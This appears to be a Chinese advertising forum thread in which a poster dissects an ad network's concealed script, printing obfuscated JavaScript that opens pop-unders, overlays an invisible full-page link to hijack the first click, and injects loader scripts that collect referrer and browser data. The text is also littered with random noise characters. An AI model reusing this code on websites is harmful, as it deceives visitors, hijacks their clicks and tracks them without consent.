  373.                         } , \' ^: @' g8 @. u; C  e6 r* f
  374.                         var _i = parseInt(divs[i].style.zIndex); ) K) s' s4 r3 h+ q$ d: {) e
  375.                         if (_i && divs[i] != a && _i == 2147483647) {
    6 h. g  C7 u" @! M) M
  376.                             divs[i].style.zIndex = _i - 1
    - F  U. Z( f- {1 c1 A* Q+ g
  377.                         } - y6 G% S$ T1 c8 p
  378.                     } ; ~  k# r7 P1 @5 X8 M' ]9 |
  379.                     a.style.zIndex = '2147483647'$ K& ]) z$ L9 ?; T
  380.                 } catch(e) {} ) F' o/ N# K% j6 _2 k' q
  381.             }
    1 h0 Z$ P" u4 e7 i- y
  382.         },
      H7 u2 d$ ^" V& v
  383.         120);
    4 ]- z8 t  G; m% y
  384.         a.onclick = function(e) { . L6 _6 P0 y. C
  385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
    : J3 W* l1 q/ R6 d4 l# A! p
  386.                 form_div.parentNode.removeChild(form_div)
    ( D% x- E- S4 Z7 C% u
  387.             } ) A2 F! D5 E7 z6 @* j9 e
  388.             e = e || window.event;
    / A! ~5 o! ?$ a* t- |2 \
  389.             e.cancelBubble = true;
    7 p" e+ v8 o( S6 d+ T9 Z" J
  390.             setTimeout(function() {
    1 b' H+ J, @$ Y$ W" a
  391.                 a.parentNode.removeChild(a)
    + u, O9 V8 ~# ]9 \; a/ _
  392.             },
    9 m  ^$ K6 t# ^- b9 B
  393.             200);
    + b! g0 O7 u% T( H. R& Q! x
  394.             clearInterval(m);
    ; y) J# |3 I; g( y+ v. U5 w
  395.             ads++;
    3 F; S8 g( ~6 v8 d4 x1 q
  396.             p(ckn, ckt, ads)
    6 ~2 }) ^# T3 h; V7 f6 X2 {% U* m
  397.         };
    ) Z+ U% d$ i& m1 y
  398.         event(a, 'mouseup', + u* d( |$ _; f, C( O+ m5 k; `( e
  399.         function(e) {
    / ~6 {8 g% O4 S0 |' d1 |
  400.             e = e || window.event;
    + n; g1 h" U' ^5 {. o6 R$ w
  401.             e.cancelBubble = true+ V& N5 D- F: K' R. }
  402.         })
    0 }2 x# V0 b! L7 V; q! s5 H
  403.     } ! @; t& S" m  `, X7 [$ ~$ Z
  404.     function func(url, param) { / ^3 y( V- X/ I( i4 U
  405.         var f = window[String.fromCharCode(111, 112, 101, 110)]; 1 E1 |. ?! d4 C  l
  406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
    ; v* ], b% W5 }3 }, u  F
  407.         if (w) {
    / N+ F+ D' ?! v) P) z
  408.             ads++; ; W7 C4 H9 k* J" R  ^# y5 T
  409.             p(ckn, ckt, ads) 1 D! i7 L. y# V/ w) d' q
  410.         };
    1 d- s  x9 Z$ h& d# I
  411.         return w ) r# f  t. O" S8 q
  412.     } . g2 e& p! v2 M1 Z) Y' o
  413.     function fstart(url) {
    1 \8 o. N0 T8 j/ ]0 ]5 I' e
  414.         init(); 0 a& t- \+ @' j9 |9 R/ D
  415.         if (_ct >= 0) {
    / ^8 {3 M, |2 E! {! F
  416.             ckn = "YITIAN_NUM"; / O0 C: `0 J& v" i4 t" |: K7 }
  417.             ckt = _ct
    4 C! }  ~7 x9 Z' }8 Z+ K/ ^
  418.         } else { - _$ V) n4 W& j4 ~8 Q/ @+ Q+ C# `4 G
  419.             ckn = "YITIAN_ALL"; 7 D# y5 R5 P0 J' O  x: p% m
  420.             ckt = Math.abs(_ct)
    2 }& o$ A0 ]/ T3 o0 Y$ `# O, I. K  l/ C, S' g
  421.         } 5 p( Y$ s1 [/ \" N4 [
  422.         if (ckt > 0) { 0 @, e' D, p1 T  G- _; _+ a
  423.             if (b(ckn)) { * ~$ p2 n. W2 M" D; W& e" S
  424.                 try {
    6 n. x2 W9 E9 I' q- y' V% V) ~/ k
  425.                     ads = parseFloat(b(ckn)) 3 W% F# v3 R7 M7 S6 a: J
  426.                 } catch(q) {}
    * L4 W% O& c3 |9 z" j* x8 L
  427.             } 9 F& A, c3 u& C4 k
  428.         }
      N2 v% Z  L) ^  e  B6 `5 W
  429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
    , P: e/ z1 m( n& @$ z- M: e
  430.             return7 P# ?  [% R5 ]
  431.         } else { 4 A  @3 m3 o5 o5 ?: C
  432.             if (_le > 0) { 9 {$ _, K8 ?$ S: @
  433.                 setTimeout(go(url), _le * 1000) * Y( e  }" r  x+ h# h' O+ m
  434.             } else {
    ; V+ l  ]# k5 B; X
  435.                 go(url)
    2 U3 h0 m6 J. i. I
  436.             }
    5 }6 ^# z7 |: P4 K2 n
  437.         }
    : ~9 D1 t( P1 N6 }% Q
  438.     }
    & {% W5 X0 J& _7 i
  439.     function go(url) { % ?- K/ u& j6 `: \/ ^
  440.         if (_poo == 1) { . W! E) |2 m* U6 x- I3 P; w
  441.             try { 4 G( s% Z" f! V: U& {
  442.                 func(url)
    ! Z- ^2 N& R' B4 }) ?# v% }4 m
  443.             } catch(q) {} * ]2 G. w9 N. z
  444.         } else if (_pco == 1) { 2 B& s* T0 F- e0 \. |5 v5 y/ j
  445.             a_pop(url)
      B6 [2 L/ l: o$ e- v2 ?5 F
  446.         } else {
    ( C7 K( t% b' i" e. A
  447.             if (_pd == 1) { 5 c  C4 D/ F; Z+ s, i
  448.                 setTimeout(function() { ' D6 L" q. j+ |0 M* A% K
  449.                     pop(url, {
    + h) m4 h. f: H! j; v$ M
  450.                         a: 1,
    . Z% k: M8 ?9 f! n7 ~
  451.                         b: 2 & U1 j$ `8 e2 E3 a
  452.                     }) ; }4 }. e3 q3 Q
  453.                 },
    $ v( [3 S: I5 o6 s! q1 r
  454.                 300) & Q( Z) \# Z( M! ]
  455.             }
    - U- y% c0 x/ ?, U% E
  456.             if (_pd2 > Math.random()) {
    % H- t; m  O$ x5 B5 r( t/ B
  457.                 setTimeout(function() { ; Q; w! ]2 x9 _/ h( U
  458.                     pop(url, { 5 Y" q  k! ]% \% c1 a' `* H, i9 e
  459.                         a: 1, ; \; a7 g; l8 k. n7 y# ?: w
  460.                         b: 2
    ' H# f5 Z! D9 A+ W
  461.                     }) ) t0 Q/ n) r; p3 S/ O! B: K  y
  462.                 },
    , J+ I$ P% z2 U/ T/ H
  463.                 300)
    . b( q3 N4 e( |( H9 a, C
  464.             } ' R% w7 {" P3 O- ^9 E" \; o
  465.             for (var i = 1; i <= 10; i++) {
    , \, p. `( Q+ ?3 D# g$ }
  466.                 var n = i == 1 ? "": i;
    / b5 l/ J% X1 X
  467.                 if (eval("_pt" + n + "b") > Math.random()) {
    . s. ?! j- e* \
  468.                     setTimeout(function() { " k/ j$ i8 s1 V5 [1 Q2 Q& O+ v+ f3 l
  469.                         setTimeout(function() {   g- t0 ~( V! I, V
  470.                             pop(url, { : @0 j) B1 ]# G2 [2 G
  471.                                 a: 1, . U8 ~  L2 T! }; l% S
  472.                                 b: 2
    ( L* f6 _6 n$ Y  M3 ~
  473.                             }) ( x0 v+ @; V7 }) E
  474.                         }, & u) T; h2 h/ }9 A  ^
  475.                         300) 2 a4 }9 P; E6 S- Z( {0 w0 l9 `
  476.                     },
    1 M  l* w: \) c
  477.                     parseInt(eval("_pt" + n + "a")) * 1000) 8 G' _( A/ x3 U1 [; n
  478.                 } 6 ?2 s9 A# v: k' @3 B
  479.             }
    ' h0 v" B# R( `+ r4 V7 H
  480.             if (_pc2 > Math.random()) {
    ! V% q( {- x  @  ]  ^+ I$ R
  481.                 a_pop(url)
    " A6 }  L  g1 j5 c& s* r
  482.             }
    0 d- [1 u9 t9 q) n$ D
  483.             if (_po > Math.random()) { 0 O$ t+ z6 [, H+ N
  484.                 try {
    6 |# Q( Z1 C5 M# ~7 h8 @
  485.                     func(url)
    ! G  W; o  r+ }( T( ]% \& u3 d% V' s
  486.                 } catch(q) {} 6 Y$ X( L+ m, {+ t# G
  487.             } & {1 {5 v/ K. x
  488.         } # |# g' h8 r# j( P
  489.     };
    2 _! }8 \% n# r; d
  490.     fstart(aa_url);
    / K" ~4 k2 V# @2 V( V' }5 S
  491.     event(window, 'beforeunload', - b& a, s2 L* ~  d8 E& W) i$ E
  492.     function() {}) + F  ?; x9 A% h0 i
  493. })();
复制代码
通过浏览器抓包8 q7 B* e( I2 \
URL从这里产生  M6 ]6 A3 E1 O& `6 _" ~  i0 q
$ Z" A4 T# o# n2 o+ ], `
http://play.unionsky.cn/show/?placeid=1418303 Y5 y( C& z7 i1 Z% C7 v

- X' e, e7 q# {" O; E& X# ?4 U$ j" c- v3 X: q, @
相关帖子
回复

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

 楼主| 发表于 2013-12-17 15:04:10 | 显示全部楼层
直接打开看不到什么东西, o' g/ z% h' d9 Q6 e8 {
http://www.unionsky.cn/ 是属于这个广告联盟的2 k2 P& K# v0 a/ N7 L% m( J* k0 U5 S
我们直接分析抓包的内容4 |0 L3 p0 ]- i  A8 y* a
var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer)); 6 b; U. J& [3 {& e
ytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
* A" G9 k( ^9 D4 qvar ytpp_u = encodeURIComponent(navigator.userAgent);
$ l, b% i; ]9 h  H) K- I+ bvar ytpp_s = window.screen.width + "*" + window.screen.height; ) N4 s" p8 ~0 C0 O$ D  {
var ytpp_l = navigator.browserLanguage || navigator.language;
% H9 W8 z* g5 H* x6 O  b3 Gvar ytpp_plid = 141830;
' P1 F$ W! x) |9 q8 e( Y# D3 {var ytpp_w = 0;
$ P+ ?& E0 K+ }% O1 @1 v. Y8 [8 gvar ytpp_h = 0;
1 u  x- ]+ y5 |( vvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
% Y4 s: H' L/ O& Q( E' yvar ytpp_ads = 14;
4 ^) @7 G6 D( [9 gvar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
1 g7 G# E6 W  r# U0 {% Adocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
6 L7 Q9 v# J7 b- G2 \& B" adocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");
, w/ x4 q) u' x0 W
那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。' q% t# F; L+ V0 _; g/ |0 x
继续分析 发现这里% b, f3 H) J8 G" S. Z$ d

) K, f& f5 ]4 a1 l" w" Shttp://txsite.21tx.com/count/count.js) l: f! W) h( K3 A" f- r

1 C% h7 ?6 U. h2 F( Z
txcount_uid = 1; 1 y' x7 H+ s' N* e
txcount_uh = 0;
. [+ r# Q6 p0 M! b. jtxcount_uw = 0; & W' ~0 M# f7 I
txcount_uah = 0; 7 D3 K* I6 V$ |* i, U* D  s
txcount_uaw = 0; $ o2 h. d  A( u' W3 v
txcount_ucd = 0;   }, \7 A( D  ^* Q5 L( ]
   
  K) u' `9 p0 }- F$ iif (window.screen) {
  F; B3 F) {: ?$ N$ j# |- F  txcount_uh = window.screen.height; 6 ^4 ]9 b4 |7 H9 ^: @; S
  txcount_uw = window.screen.width; , r- Y; {4 |% @0 p
  txcount_uah = window.screen.availHeight;
% @$ q, Y; J6 {, ~  txcount_uaw = window.screen.availWidth; ' ]* X# R" C3 ]7 T# f5 D
  txcount_ucd = window.screen.colorDepth; ) {7 ~, {# k; E+ {' b$ X9 k
}
! |$ ^5 X, t$ [4 k/ A4 ^) O( w. G   6 |/ Y4 R, z- @  T$ Z8 V( ]' T
   
6 n% Q& h, z, o" t5 Pvar url = "http://txsite.21tx.com/count/count.aspx";
/ `/ p4 W$ ]9 z! X! Q  [7 q- k/ O7 a( Curl = url + "?u="+ txcount_uid; . L2 ?2 ^8 G+ M/ D9 W; A, o
//url = url + "&f=" + txcount_f; 2 x/ o% F1 q% V3 Y& Y6 g
url = url + "&k=" + txsite_pagekey; / ^# e) P% T' ?4 c; s
//url = url + "&t=" + txcount_t;
: X9 E! [8 z2 G; M4 J5 qurl = url + "&l=" + escape(document.location);
) P8 h6 U) l9 K" U1 m' o2 ~5 D  g- Xurl = url + "&r=" + escape(document.referrer);
7 |# S4 W0 Z+ y; o$ Turl = url + "&uh=" + txcount_uh;
7 K! c: u/ k% v. }: s4 ~0 P) m: ]url = url + "&uw=" + txcount_uw;
! E( V+ U2 L  N4 H* N! Lurl = url + "&uah=" + txcount_uah;
. t( @! |# T4 n; t: J3 Aurl = url + "&uaw=" + txcount_uaw; 1 p# t6 U8 p% k, n* P3 B7 \
url = url + "&ucd=" + txcount_ucd; ; ?8 B5 ~. Y5 I& V
   & J* d, O: I+ \4 b; z0 A
   
& S# \: q0 y3 T0 C7 v7 T3 o% w9 ndocument.write("<script src=" + url + "><\/script>");
2 m  R# Z0 O$ L5 ?$ f% s  C7 S//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
4 ?" ]5 I  o; v4 ^! q   
; z5 t3 E* Z% z! u. J3 W0 Wdocument.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>'); . h5 s" i) V# W3 t2 g5 j
   - y: z1 P2 W, I" f% g
     }$ A, M% a7 S% u
document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

! \# X& r: E+ u. i( v7 m) M, o! u: Z, m9 X+ \; O
一切昭然天下了。
1 H; g: K  z1 p# |! j代码产生的直接效果如下0 e( z$ y. X" }  Y& D/ S7 q
& k& b1 c0 f1 V, l. f  J7 ?* A
<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a> 6 R- X! x2 R1 [. u* @

6 t0 W: D/ ?$ a+ `很隐秘的一段好代码
7 v' L: r4 p! o
回复 支持 反对

使用道具 举报

0

主题

488

广告币

1280

积分

高级会员

Rank: 4

积分
1280
发表于 2013-12-17 15:31:30 | 显示全部楼层
标记一下 好象看不懂还
回复 支持 反对

使用道具 举报

31

主题

266

广告币

801

积分

中级会员

Rank: 3Rank: 3

积分
801
发表于 2013-12-17 16:34:22 | 显示全部楼层
不清楚国内,莫非做taobao不可以直接用弹窗吗?
回复 支持 反对

使用道具 举报

4

主题

1312

广告币

1371

积分

高级会员

Rank: 4

积分
1371
发表于 2013-12-17 18:49:06 | 显示全部楼层
没用 360 搜狗 直接就拦截了,chrome可以弹出来
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2013-12-17 19:34:38 | 显示全部楼层
adblock 完美屏蔽
回复 支持 反对

使用道具 举报

0

主题

91

广告币

97

积分

初级会员

Rank: 2

积分
97

社区QQ达人

发表于 2013-12-17 23:34:52 | 显示全部楼层
没研究全,期待跟多解析。
过往.
回复 支持 反对

使用道具 举报

6

主题

682

广告币

1090

积分

中级会员

Rank: 3Rank: 3

积分
1090

社区QQ达人

发表于 2013-12-18 00:52:13 | 显示全部楼层
代码看不懂,不过觉得挺好用的……自动弹窗
回复 支持 反对

使用道具 举报

51

主题

450

广告币

836

积分

中级会员

Rank: 3Rank: 3

积分
836
发表于 2013-12-18 01:24:03 | 显示全部楼层
没懂4 }% M  O2 m7 U: K- Z+ u1 J" [
8 z- e/ R9 x% V) l
1,首次访问有个弹窗,但是被chrome给拦截了% q5 r' w  P6 `$ f. h
( W: l- |( H- d$ p5 ]
2,劫持了第一次点击
$ H+ m) ?6 ^# o/ {
. s- D- R. B5 ^- y3,CS了一下unionsky
0 r  p. R; |2 S$ X3 G9 x7 s
2 H1 I  s  Z( J+ z- `' ]! a然后?
回复 支持 反对

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

 楼主| 发表于 2013-12-18 03:49:31 | 显示全部楼层
cissss 发表于 2013-12-18 01:24 & a  }. q5 b0 R' x
没懂
2 i: V6 }/ ]5 P8 I2 E; A/ v9 J
/ S% d* y: u6 w1,首次访问有个弹窗,但是被chrome给拦截了

; F7 }! i& V' J& p" P* l懂的人一看就懂 不懂的人怎么看就不懂
回复 支持 反对

使用道具 举报

4

主题

437

广告币

715

积分

中级会员

Rank: 3Rank: 3

积分
715
发表于 2013-12-18 06:34:13 | 显示全部楼层
这个CJ怎么搞的这么复杂...
回复 支持 反对

使用道具 举报

51

主题

450

广告币

836

积分

中级会员

Rank: 3Rank: 3

积分
836
发表于 2013-12-18 17:31:57 | 显示全部楼层
小狠 发表于 2013-12-18 03:49
2 ?0 X& D7 K5 I/ f. S0 k$ E懂的人一看就懂 不懂的人怎么看就不懂

% f6 f7 ^4 k3 b) H: W) e# O我确实不懂你发这贴的意思。 可以理解为装逼么?
回复 支持 反对

使用道具 举报

0

主题

386

广告币

341

积分

初级会员

Rank: 2

积分
341

社区QQ达人

发表于 2014-3-14 13:10:39 | 显示全部楼层
不就是个弹窗代码吗?
回复 支持 反对

使用道具 举报

3

主题

88

广告币

113

积分

初级会员

Rank: 2

积分
113

社区QQ达人

发表于 2014-3-14 23:11:34 | 显示全部楼层
我表示看不懂
回复 支持 反对

使用道具 举报

4

主题

1

广告币

135

积分

初级会员

Rank: 2

积分
135

社区QQ达人

QQ
发表于 2014-3-15 12:03:35 | 显示全部楼层
占位,慢慢领会啥意思
http://faaad.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-5-16 21:21 , Processed in 0.055914 second(s), 13 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表